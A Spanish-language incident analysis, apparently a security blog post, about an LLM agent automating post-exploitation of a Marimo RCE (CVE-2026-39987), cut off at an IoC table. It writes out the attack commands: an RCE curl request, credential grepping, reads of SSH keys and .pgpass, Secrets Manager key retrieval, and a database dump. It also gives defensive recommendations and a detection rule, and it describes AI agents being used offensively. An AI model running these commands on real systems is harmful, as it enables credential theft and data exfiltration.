Introducción
El 10 de mayo de 2026, un actor de amenaza desconocido implementó un agente basado en modelos de lenguaje (LLM) para automatizar la post-explotación de una vulnerabilidad crítica en Marimo —CVE-2026-39987—. El ataque comenzó con la ejecución remota de código (RCE) sin autenticación contra un notebook de Marimo expuesto a internet, seguido de la extracción de credenciales de AWS, el robo de una clave SSH privada y la exfiltración de una base de datos PostgreSQL interna. Todo el proceso, desde el acceso inicial hasta la extracción de datos, duró menos de una hora, con una fase crítica de exfiltración que tomó menos de dos minutos.
Lo distintivo de este incidente no fue solo la explotación de una vulnerabilidad conocida, sino la automatización avanzada mediante un agente de LLM. Según el análisis de Sysdig, este enfoque permitió al atacante adaptarse dinámicamente al entorno comprometido, incluso improvisando consultas a bases de datos sin conocimiento previo del esquema. Para equipos de DevOps, SRE y seguridad, este caso subraya un cambio de paradigma: los atacantes ya no requieren conocimiento detallado del sistema para operar dentro de él.
Qué ocurrió
La vulnerabilidad y su explotación inicial
CVE-2026-39987 es una vulnerabilidad de ejecución remota de código (RCE) sin autenticación que afecta a todas las versiones de Marimo anteriores a 0.23.0 (incluyendo 0.20.4). El problema reside en un fallo de validación de entrada en el componente de notebooks expuestos a la red, lo que permite a un atacante inyectar y ejecutar comandos arbitrarios en el sistema operativo subyacente. Según Ubuntu Security, la vulnerabilidad fue parchada en la versión 0.23.0, publicada el 2 de mayo de 2026.
Los primeros indicios de explotación activa se registraron días después de la publicación del parche, con atacantes manuales probando la vulnerabilidad en sistemas honeypot. Sin embargo, el incidente del 10 de mayo destacó por la automatización mediante LLM, que permitió al atacante escalar el ataque rápidamente. El flujo inicial fue el siguiente:
- Acceso inicial: El atacante explotó CVE-2026-39987 para ejecutar un comando en un notebook de Marimo expuesto a internet.
- Recolección de credenciales: Desde el host comprometido, el atacante extrajo dos credenciales de AWS del entorno (posiblemente almacenadas en variables de entorno o archivos de configuración).
- Reutilización de credenciales: Las credenciales fueron reutilizadas a través de un pool de egress distribuido para realizar llamadas a la AWS Secrets Manager, recuperando una clave privada SSH (id_ed25519).
- Movimiento lateral: Con la clave SSH obtenida, el atacante inició ocho sesiones SSH paralelas contra un servidor bastión interno.
- Exfiltración de datos: En menos de dos minutos, se extrajo el esquema completo y los datos de una base de datos PostgreSQL interna.
El rol del agente de LLM en la post-explotación
Sysdig identificó cuatro señales claras que indicaban la participación de un agente de LLM en la post-explotación:
- Adaptabilidad dinámica: El atacante improvisó un dump de la base de datos sin conocimiento previo del esquema. En entornos típicos, un atacante manual necesitaría conocer la estructura de la base de datos o consultar documentación. El LLM, en cambio, generó comandos sobre la marcha para extraer datos relevantes.
# Ejemplo de comando adaptativo (generado por LLM)
psql -h <host_oculto> -U <usuario> -d <db> -c "SELECT * FROM information_schema.tables;"
- Huellas lingüísticas: Se encontró un comentario en chino —«看还能做什么» («Veamos qué más podemos hacer»)— incrustado directamente en el flujo de comandos. Esto sugiere que el LLM generó texto natural como parte de su proceso de planificación.
- Estructura de comandos optimizada para máquinas: Cada comando estaba separado por un delimitador
---, con salidas acotadas y manejo de errores minimizado (descarte destderr). Por ejemplo:
--- # Delimitador generado por LLM
ls -la ~/.ssh/id_ed25519* # Verifica existencia de la clave SSH
---
cat ~/.ssh/id_ed25519 # Lee la clave SSH
---
psql -h db-internal -U admin -c "SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';"
- Toma de decisiones en tiempo real: El LLM usó la salida de comandos previos como entrada para los siguientes. Por ejemplo, primero listó archivos en
~/.ssh/para confirmar la existencia de la clave SSH antes de leerla:
ls -la ~/.pgpass # Lista archivos de credenciales PostgreSQL
---
cat ~/.pgpass # Lee credenciales
---
psql -h localhost -U postgres -d postgres -c "SELECT usename FROM pg_user;"
Datos clave del ataque
- Fecha: 10 de mayo de 2026 (duración total: ~1 hora).
- Herramientas utilizadas: Marimo (versiones <= 0.20.4), AWS Secrets Manager, cliente SSH, PostgreSQL (
psql). - Técnicas empleadas:
– TA0006 (Recolección de credenciales).
– TA0008 (Movimiento lateral).
– TA0011 (Exfiltración de datos).
- Impacto: Acceso no autorizado a datos sensibles en una base de datos PostgreSQL interna, con posible compromiso de credenciales de AWS y SSH.
Impacto para DevOps / Infraestructura / Cloud / Seguridad
Para equipos de DevOps y SRE
- Exposición de notebooks y servicios internos:
– Recomendación: Auditar todos los servicios expuestos a internet, especialmente aquellos que ejecuten aplicaciones basadas en notebooks o APIs internas. Usar herramientas como nmap o masscan para escanear puertos abiertos:
nmap -p- --open <IP_o_rango> -oG exposed_services.txt
- Movimiento lateral y acceso a bases de datos:
– Las credenciales de AWS estaban sobreexpuestas en el entorno (posiblemente en variables de entorno o archivos de configuración).
– El servidor bastión no tenía autenticación multifactor (MFA) ni políticas de acceso mínimo (least privilege).
– Recomendación:
– Implementar IAM Roles for Service Accounts (IRSA) en lugar de credenciales estáticas en pods o instancias.
– Configurar AWS Secrets Manager con políticas de acceso granular y rotación automática de secretos.
- Exfiltración de datos en PostgreSQL:
– Recomendación:
– Auditar permisos de PostgreSQL con:
SELECT grantee, privilege_type, table_name
FROM information_schema.role_table_grants
WHERE grantee NOT LIKE 'postgres';
– Implementar listas de control de acceso (ACLs) y cifrado de datos en tránsito (SSL) y en reposo.
Para equipos de Seguridad
- Detección de agentes de LLM:
– Comentarios en chino en el flujo de comandos.
– Uso de delimitadores --- entre comandos.
– Descarte de stderr y salidas acotadas.
– Recomendación:
– Configurar reglas en SIEM (como Splunk o ELK) para detectar patrones anómalos en logs de shell:
index=linux sourcetype=linux_secure
(command="*---*" OR command="*看还能做什么*" OR stderr="-")
| stats count by host, user
- Automatización de ataques:
– Recomendación:
– Implementar honeytokens en archivos críticos (como ~/.pgpass o ~/.ssh/id_ed25519) para detectar accesos no autorizados.
– Usar herramientas como MITRE ATT&CK para mapear técnicas de post-explotación y simular ataques controlados (red teaming).
- Evaluación de riesgos en entornos cloud:
– Recomendación:
– Auditar políticas IAM con AWS IAM Access Analyzer:
aws iam create-access-analyzer --analyzer-name my-analyzer --type ACCOUNT
– Implementar AWS GuardDuty para detectar actividades anómalas en cuentas.
Detalles técnicos
Vulnerabilidad: CVE-2026-39987
- Tipo: Ejecución remota de código (RCE) sin autenticación.
- Componentes afectados: Marimo (versiones <= 0.20.4).
- Vector de ataque: Notebooks de Marimo expuestos a internet.
- Impacto: Ejecución arbitraria de comandos en el sistema operativo subyacente.
- Parche: Versión 0.23.0 (liberada el 2 de mayo de 2026).
Flujo de ataque detallado
- Explotación inicial:
curl -X POST http://<IP_expuesta>:<puerto>/api/execute -d '{"code": "import os; os.system(\"cat /etc/passwd\")"}'
– Esto ejecutaría cat /etc/passwd en el sistema subyacente.
- Recolección de credenciales:
env | grep -i "AWS\|PASSWORD\|SECRET"
cat /home/user/.bashrc
- Acceso a AWS Secrets Manager:
aws secretsmanager get-secret-value --secret-id "ssh-private-key" --region us-east-1
– Esto devolvió la clave privada SSH (id_ed25519).
- Movimiento lateral y exfiltración:
ssh -i ~/.ssh/id_ed25519 admin@<IP_bastion>
– Luego, exfiltró la base de datos PostgreSQL:
psql -h <DB_host> -U <usuario> -d <db> -c "COPY (SELECT * FROM sensitive_table) TO STDOUT;"
Señales de compromiso (IoCs)
| Tipo | Valor | Fuente |
|---|---|---|
| Comando |
